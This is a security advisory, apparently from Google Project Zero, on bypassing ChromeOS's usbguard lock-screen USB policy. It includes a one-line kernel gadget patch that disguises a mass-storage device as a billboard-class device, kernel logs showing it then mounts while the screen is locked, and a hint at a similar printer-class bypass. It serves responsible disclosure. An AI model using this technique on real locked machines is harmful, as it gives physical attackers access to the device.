Share
## https://sploitus.com/exploit?id=PACKETSTORM:167269
ChromeOS' usage of usbguard is bypassable  
  
VULNERABILITY DETAILS  
ChromeOS uses https://usbguard.github.io/ when the screen is locked (but not  
on the login screen, perhaps because it is expected that code execution is much  
less helpful when the disk is still encrypted?).  
  
When the screen is locked, a policy is applied that might look like this  
(example from my Pixelbook):  
  
```  
allow id 0bda:564b serial \"\\x07LOE65001063010A78M015CFAI06BF12000\" name \"WebCamera\" hash \"KsByWtMB5JtGNDimauArXMiZOThFwagdTWeQsMAZ48c=\" with-interface { 0e:01:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 } with-connect-type \"hardwired\"  
allow id 1d6b:0002 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"jEP/6WzviqdJ5VSeTUY8PatCNBKeaREvo2OqdplND/o=\" with-interface 09:00:00 with-connect-type \"\"  
allow id 1d6b:0003 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"3Wo3XWDgen1hD5xM3PSNl3P98kLp1RUTgGQ5HSxtf8k=\" with-interface 09:00:00 with-connect-type \"\"  
allow id 8087:0a2a serial \"\" name \"\" hash \"AyPZWy2XK0931kB9A/owYfk5xHEqnpDsJfdeLSGIyuk=\" with-interface { e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 } with-connect-type \"hardwired\"  
####################################################################################################  
# Footer.  
####################################################################################################  
block with-interface one-of { 05:*:* 06:*:* 07:*:* 08:*:* } # physical, image, printer, storage  
allow  
```  
  
As you can see, it mostly just allowlists specific devices with full hashes of  
the expected USB configuration descriptors, and internal USB devices are marked  
such that they won't be accepted on external USB ports.  
(Which, by the way, might not actually be necessary, since the USB subsystem's  
`authorized_default` flag is set to 2 when the screen is locked, not 0, meaning  
internal USB devices are automatically allowed anyway?)  
  
But then at the bottom is this footer that blocks USB devices with interface  
descriptors that contain the following `bInterfaceClass` values:  
  
- USB_CLASS_PHYSICAL (5)  
- USB_CLASS_STILL_IMAGE (6)  
- USB_CLASS_PRINTER (7)  
- USB_CLASS_MASS_STORAGE (8)  
  
Afterwards, anything else is permitted.  
  
This configuration footer comes from  
<https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/third_party/chromiumos-overlay/sys-apps/usbguard/files/99-rules.conf>.  
The interface-based classification of devices was introduced in  
<https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/1217622/>.  
  
  
Apart from the problem that there is a large amount of attack surface in drivers  
for devices that don't belong into those USB interface classes, there is another  
issue with this approach:  
  
The kernel often doesn't care what USB class a device claims to be. The way USB  
drivers tend to work, even for standardized protocols, is that the driver  
specifies with low priority that it would like to bind to standards-compliant  
devices using the proper USB interface class, but also specifies with high  
priority that it would like to bind to specific USB devices based on Vendor ID  
and Product ID, without caring about their USB interface class.  
  
  
As an example, USB_CLASS_MASS_STORAGE is blocklisted, so a USB stick inserted  
while the screen is locked doesn't get past the authorization check:  
  
[ 6411.611320] usb 1-1: new high-speed USB device number 31 using xhci_hcd  
[ 6411.738900] usb 1-1: New USB device found, idVendor=0781, idProduct=5580, bcdDevice= 0.10  
[ 6411.738910] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3  
[ 6411.738916] usb 1-1: Product: [...]  
[ 6411.738921] usb 1-1: Manufacturer: SanDisk  
[ 6411.738926] usb 1-1: SerialNumber: [...]  
[ 6411.740583] usb 1-1: Device is not authorized for usage  
[ 6414.875133] cros-ec-sensorhub [...]  
[ 6418.603609] usb 1-1: USB disconnect, device number 31  
  
But if we use a Linux machine with appropriate hardware (I'm using a NET2380 dev  
board, but you could probably also do it with an unlocked Pixel phone or a  
Raspberry Pi Zero W or something like that) to emulate a USB Mass Storage  
device, using <https://docs.kernel.org/usb/mass-storage.html>, and patch one  
line in the attacker kernel so that it claims to be a billboard, not a storage  
device:  
  
  
diff --git a/drivers/usb/gadget/function/storage_common.c b/drivers/usb/gadget/function/storage_common.c  
index b859a158a414..d7452c8458a9 100644  
--- a/drivers/usb/gadget/function/storage_common.c  
+++ b/drivers/usb/gadget/function/storage_common.c  
@@ -34,7 +34,7 @@ struct usb_interface_descriptor fsg_intf_desc = {  
.bDescriptorType = USB_DT_INTERFACE,  
  
.bNumEndpoints = 2, /* Adjusted during fsg_bind() */  
- .bInterfaceClass = USB_CLASS_MASS_STORAGE,  
+ .bInterfaceClass = USB_CLASS_BILLBOARD,  
.bInterfaceSubClass = USB_SC_SCSI, /* Adjusted during fsg_bind() */  
.bInterfaceProtocol = USB_PR_BULK, /* Adjusted during fsg_bind() */  
.iInterface = FSG_STRING_INTERFACE,  
  
  
Then we can connect just fine even while the screen is locked - first we get a  
\"Device is not authorized\" message on the initial connection, then usbguard  
unblocks us and the kernel probes the device as a mass storage device and scans  
the partition table:  
  
[ 6432.752906] usb 1-1: new high-speed USB device number 32 using xhci_hcd  
[ 6432.885635] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a5, bcdDevice= 5.17  
[ 6432.885647] usb 1-1: New USB device strings: Mfr=3, Product=4, SerialNumber=0  
[ 6432.885653] usb 1-1: Product: Mass Storage Gadget  
[ 6432.885658] usb 1-1: Manufacturer: Linux 5.17.0-rc4+ with net2280  
[ 6432.886121] usb 1-1: Device is not authorized for usage  
[ 6432.891672] usb-storage 1-1:1.0: USB Mass Storage device detected  
[ 6432.891985] usb-storage 1-1:1.0: Quirks match for vid 0525 pid a4a5: 10000  
[ 6432.892090] scsi host0: usb-storage 1-1:1.0  
[ 6432.892567] usb 1-1: authorized to connect  
[ 6433.920354] scsi 0:0:0:0: Direct-Access Linux File-Stor Gadget 0517 PQ: 0 ANSI: 2  
[ 6433.922585] sd 0:0:0:0: Power-on or device reset occurred  
[ 6433.923533] sd 0:0:0:0: [sda] 204800 512-byte logical blocks: (105 MB/100 MiB)  
[ 6434.030869] sd 0:0:0:0: [sda] Write Protect is off  
[ 6434.030876] sd 0:0:0:0: [sda] Mode Sense: 0f 00 00 00  
[ 6434.136540] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA  
[ 6434.363462] sda: sda1 sda2  
[ 6434.585367] cros-ec-sensorhub [...]  
[ 6434.588541] sd 0:0:0:0: [sda] Attached SCSI disk  
  
  
I haven't looked at how this issue applies to other USB subsystems in detail,  
but from a quick glance:  
  
- USB_CLASS_PHYSICAL doesn't really show up in the Linux kernel outside of some  
number-to-string translation table, so I don't think it matters to the kernel.  
- Same thing with USB_CLASS_STILL_IMAGE.  
- The usblp subsystem does have an explicit check for USB_CLASS_PRINTER - but  
that check is intentionally bypassed for known devices that are marked in  
the kernel as USBLP_QUIRK_BAD_CLASS, and that flag is set for the  
\"Seiko Epson Receipt Printer M129C\" (vendor 0x04b8, device 0x0202), so you  
can probably also bypass the blocking of the printer interface class that way.  
  
  
  
I think the best way forward would be to look into whether it is feasible to  
rely exclusively on a trust-on-first-use approach. If that is infeasible, you  
may have to talk to upstream about how userspace can reliably determine which  
driver(s) a given USB device might be bound to, since I'm not aware of any  
interface that would let you do that.  
  
  
VERSION  
Google Chrome 98.0.4758.107 (Official Build) (64-bit)   
Revision a2ef32d533baed737df9fc2ed8d505405ecf0c66-refs/branch-heads/4758@{#1167}  
Platform 14388.61.0 (Official Build) stable-channel eve  
Firmware Version Google_Eve.9584.230.0  
Customization ID GOOGLE-EVE  
ARC 8165997  
  
  
CREDIT INFORMATION  
Reporter credit: Jann Horn of Google Project Zero  
  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2022-05-25.  
  
  
  
  
Found by: jannh@google.com